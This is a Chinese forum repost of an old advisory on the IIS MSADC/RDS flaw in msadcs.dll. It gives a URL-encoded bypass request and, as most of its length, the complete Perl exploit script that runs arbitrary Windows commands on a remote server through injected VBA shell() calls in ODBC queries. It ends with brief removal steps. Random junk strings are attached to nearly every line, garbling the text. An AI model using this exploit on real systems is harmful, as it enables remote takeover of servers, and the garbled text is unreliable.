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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) _f2iz4  
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涉及程序: g='2~c  
Microsoft NT server Y?SJQhN6W  
oTa+E'q  
描述: NZ? =pfK\s  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 RoXOGVo  
r3lr`s`  
详细: Z"8cGN'  
如果你没有时间读详细内容的话,就删除: 2OOj8JS  
c:\Program Files\Common Files\System\Msadc\msadcs.dll y]z#??  
有关的安全问题就没有了。 B!C32~[  
3G0\i!*t  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 [8g\pPQ  
!~DkA7i55  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 i*rv_G|(Zj  
关于利用ODBC远程漏洞的描述,请参看: +( 7vmC.  
'$nGtB5  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 3mn-dKe((  
K?<Odw'k  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ov.rHVeI  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp L7'X7WYf&  
4 6JP1  
这里不再论述。 \}&w/.T  
dufHd  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: <5L`d}  
@)B5^[4(;  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ^rb7`s#G  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! R_&V.\e_  
IZ ha* 7  
T{2//$T?  
#将下面这段保存为txt文件,然后: "perl -x 文件名" jtCob'n8  
WED7]2>  
#!perl QLLV OJi  
# f*f9:xUY  
# MSADC/RDS 'usage' (aka exploit) script UE](`|4H  
# 9K_HcLO%y  
# by rain.forest.puppy ^Q:`2C5  
# G`K7P`m  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me KUV{]?'  
# beta test and find errors! ,tc]E45  
j>=".^J  
use Socket; use Getopt::Std; (.t:sn"P  
getopts("e:vd:h:XR", \%args); }{PtQc6RL!  
~oyPmIcb  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; jh!IOtf  
}=R|iz*,!  
if (!defined $args{h} && !defined $args{R}) { qoq<dCt3  
print qq~ R5~m"bE  
Usage: msadc.pl -h <host> { -d <delay> -X -v } A}}t86T  
-h <host> = host you want to scan (ip or domain) [_GR'x'0x  
-d <seconds> = delay between calls, default 1 second M#IR=|P]  
-X = dump Index Server path table, if available ?AH<y/i<Y  
-v = verbose Yhdt8[ 2  
-e = external dictionary file for step 5 :njUaMFoMA  
%[;KO&Ga  
Or a -R will resume a command session T3 /LUm  
G4]``  
~; exit;} 7[,f;zG  
unB "dE  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; XX+rf  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 'Pn`V{a  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} W# /Ol59  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); +1A<kJ  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} .h } D%Qa  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ZuON@(  
QpZhxp  
if (!defined $args{R}){ $ret = &has_msadc; 0 N^V&k   
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ?Io2lFvI@Y  
L 3Iz]D3s  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" {=Y&q~:8v  
. "cmd /c "; CF4y$aC#  
$in=<STDIN>; chomp $in; 7m$/.\5  
$command="cmd /c " . $in ; MYm6C;o$  
jP]'gQ!-w  
if (defined $args{R}) {&load; exit;} 8BdeqgU/_  
kF7Al]IgT  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Yf9L~K  
&try_btcustmr; W12K93tO  
-4a&R=%p  
print "\nStep 2: Trying to make our own DSN..."; YRXe j  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; l#:Q V:  
r#}%sof  
print "\nStep 3: Trying known DSNs..."; mcracj[ B  
&known_dsn; Q?q m~wD  
m]vr|:{6/  
print "\nStep 4: Trying known .mdbs..."; Sy~Mh]{E  
&known_mdb; IT"jtV  
 EZFWxR/  
if (defined $args{e}){ YDL)F<Y  
print "\nStep 5: Trying dictionary of DSN names..."; Gj?q+-d!(5  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ]].21  
O2B$c\pw  
print "Sorry Charley...maybe next time?\n"; r3)t5P*_  
exit; [J#(k`@  
p*,mwKN:  
############################################################################## z AIC5fvu  
S^.=j oI  
sub sendraw { # ripped and modded from whisker YEj U3^@  
sleep($delay); # it's a DoS on the server! At least on mine... LdL\B0^l  
my ($pstr)=@_; djp(s$:{4  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || V19*~v=u  
die("Socket problems\n"); cke[SUH,  
if(connect(S,pack "SnA4x8",2,80,$target)){ woKdI)f $  
select(S); $|=1; Sy55w={  
print $pstr; my @in=<S>; C, rZ}-  
select(STDOUT); close(S); 7]Yd-vA  
return @in; iE5^Xik ,  
} else { die("Can't connect...\n"); }} `VbG%y&I  
c`Cn9bX  
############################################################################## `z.#O\@o  
]QQ"7_+  
sub make_header { # make the HTTP request ^m9cEl^:nQ  
my $msadc=<<EOT XQPJ(.G  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 W525:h52{  
User-Agent: ACTIVEDATA pQi -  
Host: $ip ZG|T-r;~  
Content-Length: $clen c9'b `#'  
Connection: Keep-Alive Ws@s(5r  
9p<l}h7g  
ADCClientVersion:01.06 ??;[`_h{bz  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ySZ)yT  
R(fR1  
--!ADM!ROX!YOUR!WORLD! vY koh/(/u  
Content-Type: application/x-varg Dr<Bd;)  
Content-Length: $reqlen u8QX2|  
"M]]H^r5  
EOT `pr,lL  
; $msadc=~s/\n/\r\n/g; Z$@Nzza-  
return $msadc;} U# gmk0>t{  
Zuf&maa S  
############################################################################## 4a~_hkY]  
+{Ttv7l_2  
sub make_req { # make the RDS request ,q1RJiR  
my ($switch, $p1, $p2)=@_; Qp}<8/BM\  
my $req=""; my $t1, $t2, $query, $dsn; K9iR>put  
Rz<fz"/2<  
if ($switch==1){ # this is the btcustmr.mdb query +X%yF{^m(  
$query="Select * from Customers where City=" . make_shell(); X-)6.[9f  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . +$C5V,H ~  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} xe' *%3-v)  
M'sJ5;^5  
elsif ($switch==2){ # this is general make table query u/:@+rTV_  
$query="create table AZZ (B int, C varchar(10))"; #<:khs6  
$dsn="$p1";} ;pJ7k23(  
xb\lbS{ f  
elsif ($switch==3){ # this is general exploit table query r=;k[*;{  
$query="select * from AZZ where C=" . make_shell(); M*Xzr .6  
$dsn="$p1";} BH^q.p_#>X  
V Puzu|  
elsif ($switch==4){ # attempt to hork file info from index server \} 5\^&}_  
$query="select path from scope()"; Wk?XlCj  
$dsn="Provider=MSIDXS;";} nBd;d}LD  
VlH9ap  
elsif ($switch==5){ # bad query MLl:)W*  
$query="select"; pmZr<xs   
$dsn="$p1";} xfilxd  
\BA_PyS?W+  
$t1= make_unicode($query); 1x]G/I*  
$t2= make_unicode($dsn); { .AFg/Z  
$req = "\x02\x00\x03\x00"; 6aL`^^  
$req.= "\x08\x00" . pack ("S1", length($t1)); JkTL+obu  
$req.= "\x00\x00" . $t1 ; 0X;Dr-3<  
$req.= "\x08\x00" . pack ("S1", length($t2)); xM(  
$req.= "\x00\x00" . $t2 ; G 8@%)$A  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; F-m1GG0s  
return $req;} e2>gQ p/  
6xwC1V?:0t  
############################################################################## }0I! n@  
5we1q7  
sub make_shell { # this makes the shell() statement q?wB h^  
return "'|shell(\"$command\")|'";} ^(%>U!<<%,  
 -H{{  
############################################################################## $%/Zm*H  
1mf_1spB  
sub make_unicode { # quick little function to convert to unicode fE >FT9c  
my ($in)=@_; my $out; &A>J>b  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } -1[ri8t;nV  
return $out;} `ainJs:B  
i^yQ; 2 -  
############################################################################## w] VvH"?  
OF)X(bi4j  
sub rdo_success { # checks for RDO return success (this is kludge) fYpy5vc-dm  
my (@in) = @_; my $base=content_start(@in); q^gd1K<N  
if($in[$base]=~/multipart\/mixed/){ 8I*fPf  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} x\lua  
return 0;} &" =inkh  
v+Hu=RZE  
############################################################################## r*$KF!-dg  
%gN8-~$ 1  
sub make_dsn { # this makes a DSN for us mR@iGl\\  
my @drives=("c","d","e","f"); Z# 1Qj9  
print "\nMaking DSN: "; 'Z';$N ]  
foreach $drive (@drives) { ~Oolm_+{}  
print "$drive: "; '8Yx  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . fV3J:^)F  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 27)$;1MT:  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); l-5-Tf&j  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; |(Sqd;#v  
return 0 if $2 eq "404"; # not found/doesn't exist ^#;2 Pd>  
if($2 eq "200") {  7p{lDQ  
foreach $line (@results) { .S[5CO^  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} :iq1-Pw  
} return 0;} a XwFQ,  
4o'0lz]  
############################################################################## n {M!l\1  
H}A67J9x  
sub verify_exists { Oa{M9d,l  
my ($page)=@_; ]^dXB 0  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ?(F~9 V  
return $results[0];} Ltc>@  
o|*,<5t  
############################################################################## ${ e{#  
? ;\YiOTda  
sub try_btcustmr { z`{x1*w_  
my @drives=("c","d","e","f"); yQ\c<z^e  
my @dirs=("winnt","winnt35","winnt351","win","windows"); rN OwB2e  
=5+:<e,&  
foreach $dir (@dirs) { M}HGFN  
print "$dir -> "; # fun status so you can see progress xHHG| u  
foreach $drive (@drives) { %ePInpb  
print "$drive: "; # ditto /|Zk$q.\  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; H`kfI"u8  
$reqlenlen=length( "$reqlen" ); M>-x\[n+  
$clen= 206 + $reqlenlen + $reqlen; yhZ2-*pTg  
hD sFsG  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); "zfy_h  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} l]GLkE  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} |ML|P\1&V  
ktnsq&qNL  
############################################################################## 1_ %3cN.  
Rzw}W7zg[  
sub odbc_error { ~|riFp=J  
my (@in)=@_; my $base; 0&zp9(G5  
my $base = content_start(@in); ZjbMk 3Y  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this h%Bp%Y9  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; )%P!<|s:5  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ZfoI7<?33  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &!_ >J0  
return $in[$base+4].$in[$base+5].$in[$base+6];} (|<}q-wO  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; G3m+E;o1  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . zGA#7W2?0  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Ak&eGd$d  
z;D[7tT  
############################################################################## DdPU\ ZWR  
Lk4gjs,V  
sub verbose { ~ #Vrf0w/  
my ($in)=@_; ;=aj)lemCr  
return if !$verbose; _A1r6  
print STDOUT "\n$in\n";} =#^\ 9|?$  
]v$VZ '  
############################################################################## eWE7>kwh  
624l5}@:  
sub save { ELPzqBI  
my ($p1, $p2, $p3, $p4)=@_; 5!-'~W  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; :(E.sT "R  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; '8PZmS8X9  
close OUT;} "cj6i{x,~w  
Dy mf  
############################################################################## }mz@oEB#vF  
_I+QInD;)  
sub load { [Q6PFdQ_JT  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; VI/77  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); $zKf>[K  
@p=<IN>; close(IN); RX\%R  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Igrr"NuDZ  
$target= inet_aton($ip) || die("inet_aton problems"); 2XNO*zbve  
print "Resuming to $ip ..."; a/ ^ojn  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 3P N<J  
if($p[1]==1) { %xPJJ $P  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 7\HjQ7__  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; :;HJ3V;  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); t,Ss3  
if (rdo_success(@results)){print "Success!\n";} `B-jwVrN(  
else { print "failed\n"; verbose(odbc_error(@results));}} oP!oU2eqK  
elsif ($p[1]==3){ 16Cd0[h?  
if(run_query("$p[3]")){ c<fl6o)  
print "Success!\n";} else { print "failed\n"; }} \AQ*T`Dq  
elsif ($p[1]==4){ B _k+Oa2!  
if(run_query($drvst . "$p[3]")){ ,=jwQG4wq  
print "Success!\n"; } else { print "failed\n"; }} #-W a3P  
exit;} i_Ol vuy~  
~U}0=lRVS  
############################################################################## a'r8J~:jy  
usc"m huQ  
sub create_table { n|q $=jE  
my ($in)=@_; clyZD`*  
$reqlen=length( make_req(2,$in,"") ) - 28; _<}oBh  
$reqlenlen=length( "$reqlen" ); n.F^9j+V  
$clen= 206 + $reqlenlen + $reqlen; K+|G9  
my @results=sendraw(make_header() . make_req(2,$in,"")); lsq\CavbM  
return 1 if rdo_success(@results); L.X"wIs^  
my $temp= odbc_error(@results); verbose($temp); 8Mg wXH  
return 1 if $temp=~/Table 'AZZ' already exists/; SI\ O>a 9{  
return 0;} <5BNcl\ZL  
> >%m,F[  
############################################################################## 'A2^K5`3  
m?GBvL$  
sub known_dsn { NpI "XQ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go  OXDEU.  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", /3#)  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", K-<<s  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); #:[^T,YD0  
q|h#J}\  
foreach $dSn (@dsns) { x`n7D  
print "."; >= O5=\`  
next if (!is_access("DSN=$dSn")); Op<,e{[]  
if(create_table("DSN=$dSn")){ &1 t84p:^=  
print "$dSn successful\n"; ]?c9;U  
if(run_query("DSN=$dSn")){ 1{1 5#W  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { "d"6.ND  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ?vh1 >1D  
efN5(9*9R  
############################################################################## GBSuTu8  
n~_;tO  
sub is_access { tw k  
my ($in)=@_; gUGMoXSTI|  
$reqlen=length( make_req(5,$in,"") ) - 28;  9q[ d?1  
$reqlenlen=length( "$reqlen" ); Be;l!]i  
$clen= 206 + $reqlenlen + $reqlen; N.'-9hv  
my @results=sendraw(make_header() . make_req(5,$in,"")); L NS O]\  
my $temp= odbc_error(@results); lq}m0}9<  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); '"C& dia  
return 0;} me@k~!e"z  
,76Q*p  
############################################################################## @PzRHnT*  
%1\~OnT  
sub run_query { #kQ1,P6,(  
my ($in)=@_; >lkjoEVQ  
$reqlen=length( make_req(3,$in,"") ) - 28; /JjSx/  
$reqlenlen=length( "$reqlen" ); '+&!;Jj,  
$clen= 206 + $reqlenlen + $reqlen; xcE2hK/+  
my @results=sendraw(make_header() . make_req(3,$in,"")); M.qE$  
return 1 if rdo_success(@results); ?+_Y!*J2b  
my $temp= odbc_error(@results); verbose($temp); SDu%rr7sQ  
return 0;} rczwxWK  
f1AO<>I;  
############################################################################## j4%\'xj:  
-[}AhNYK  
sub known_mdb { &iO53I^r/  
my @drives=("c","d","e","f","g"); #sm@|'Q%  
my @dirs=("winnt","winnt35","winnt351","win","windows"); |BEoF[1  
my $dir, $drive, $mdb; ]kdU]}z  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; +OaBA>Jh9  
gY {/)"  
# this is sparse, because I don't know of many *JArR1J  
my @sysmdbs=( "\\catroot\\icatalog.mdb", O-(gkE  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 7hlzuZob+y  
"\\system32\\certmdb.mdb", K?@x'q1  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% O^Y@&S RrQ  
=xjt PmZ5X  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", G?+0#?'Y  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ~P fk   
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", \=c@  
"\\cfusion\\cfapps\\security\\realm_.mdb", )0o|u>  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", *4y0Hq  
"\\cfusion\\database\\cfexamples.mdb", ?>Bt|[p:s)  
"\\cfusion\\database\\cfsnippets.mdb", ]|QA`5=$  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", O:j=L{,d^  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", q|_Cj]{  
"\\cfusion\\brighttiger\\database\\cleam.mdb", o0kKf+[  
"\\cfusion\\database\\smpolicy.mdb", +2#pP  
"\\cfusion\\database\cypress.mdb", &ox5eX(  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", SoHw9FtS  
"\\website\\cgi-win\\dbsample.mdb", J3 xi5S  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Um!LF"Z  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" D\Fu4Eg  
); #these are just t vp kc;  
foreach $drive (@drives) { )1/J5DI @8  
foreach $dir (@dirs){ _};T:GOT  
foreach $mdb (@sysmdbs) { F;ELsg  
print "."; Dco3`4pl  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ R[W'LRh~:1  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; DD'RSV5]  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ G&q@B`I  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; :gM_v?sy  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ts &sr  
PTpGZ2FZ  
foreach $drive (@drives) { PNpH)'C|  
foreach $mdb (@mdbs) { &UQP9wS4v  
print "."; g$U7bCHG  
if(create_table($drv . $drive . $dir . $mdb)){ ua!RwSo  
print "\n" . $drive . $dir . $mdb . " successful\n"; eB_ M *+^  
if(run_query($drv . $drive . $dir . $mdb)){ }F-,PSH Ml  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; TOsHb+Uv  
} else { print "Something's borked. Use verbose next time\n"; }}}} ]RuH6d2d|  
} NchEay;`  
b6^#{))"  
############################################################################## :0% $u>;O:  
vv1W<X0e<  
sub hork_idx { MtG~ O;?8  
print "\nAttempting to dump Index Server tables...\n"; rT'<6]`  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Ubv_ a  
$reqlen=length( make_req(4,"","") ) - 28; 2{01i)2y  
$reqlenlen=length( "$reqlen" ); Y'?{yx{  
$clen= 206 + $reqlenlen + $reqlen; `L @`l  
my @results=sendraw2(make_header() . make_req(4,"","")); |?LUt@r;  
if (rdo_success(@results)){ /t04}+,e ^  
my $max=@results; my $c; my %d; l(3\ekU!  
for($c=19; $c<$max; $c++){ l8 XY  
$results[$c]=~s/\x00//g; CTZ#QiNP  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Bg}(Sy  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 4Y{&y6  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ^}4ysw  
$d{"$1$2"}="";} -^,wQW:o)  
foreach $c (keys %d){ print "$c\n"; } ;m}o$`  
} else {print "Index server doesn't seem to be installed.\n"; }} Lu[xoQ~I  
lj %k/u  
############################################################################## `7Dj}vVu  
$uUJV% EX  
sub dsn_dict { }-PV%MNud  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); $ItPUYi";  
while(<IN>){ oN[# C>#(  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; y*j8OA.S  
next if (!is_access("DSN=$dSn")); 78O5$?b;#  
if(create_table("DSN=$dSn")){ R ]y9>5 'U  
print "$dSn successful\n"; 89fl\18%  
if(run_query("DSN=$dSn")){ S%7%@Qs"%  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1-}$sO c  
print "Something's borked. Use verbose next time\n";}}} r'J3\7N!u  
print "\n"; close(IN);} +\66; 7]s  
An=Q`Uxt/  
############################################################################## /i IWt\J  
*Edr\P  
sub sendraw2 { # ripped and modded from whisker 9S{?@*V  
sleep($delay); # it's a DoS on the server! At least on mine... J:2Su1"ODh  
my ($pstr)=@_;  p/?TU  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 9 F|e .  
die("Socket problems\n"); l 5z8]/  
if(connect(S,pack "SnA4x8",2,80,$target)){ y0 qq7Dmu  
print "Connected. Getting data"; (^= Hq'D  
open(OUT,">raw.out"); my @in; (Ek=0;Cr  
select(S); $|=1; print $pstr; @v=A)L  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 33w(Pw  
close(OUT); select(STDOUT); close(S); return @in; F>rf cW2  
} else { die("Can't connect...\n"); }} 5U.,iQ(d  
) q'~<QxI\  
############################################################################## uH8`ipX  
q^+Z>   
sub content_start { # this will take in the server headers @-BgPDi.Z  
my (@in)=@_; my $c; f2FGod<CzN  
for ($c=1;$c<500;$c++) { ,E8~^\HV  
if($in[$c] =~/^\x0d\x0a/){ -1 _7z{.  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } +( V+XT  
else { return $c+1; }}} cP[]\r+Kj  
return -1;} # it should never get here actually }$1Aw%p^  
Gq^#.o]  
############################################################################## ai~JY[  
!GBGC|avE  
sub funky { b6gD*w <  
my (@in)=@_; my $error=odbc_error(@in); 21G:!t4/?n  
if($error=~/ADO could not find the specified provider/){ ?mW;%d~]  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Y^CbpG&-vC  
exit;} Yq%D/dU8  
if($error=~/A Handler is required/){ ^1NtvQe@Y\  
print "\nServer has custom handler filters (they most likely are patched)\n"; vh6#Bc)i%w  
exit;} 0 ;ov^]  
if($error=~/specified Handler has denied Access/){ g6 3?(+Fz  
print "\nServer has custom handler filters (they most likely are patched)\n"; IXmO1*o@  
exit;}} sYY=MD  
b{Kw.?85  
############################################################################## k0R;1lZ0n  
i*%2 e)  
sub has_msadc { d<l-Ldle  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); hy|X(m  
my $base=content_start(@results); bNO/CD4  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); yy-\$<j  
return 0;} u(|k/~\  
JTg0T+  
######################## ZW|VAn'>  
O[fgn;@|  
{bvm83{T  
解决方案: RU'DUf  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll o$r]Z1  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 N+PW,a  
hexq]'R  
拿出来充数 哈哈
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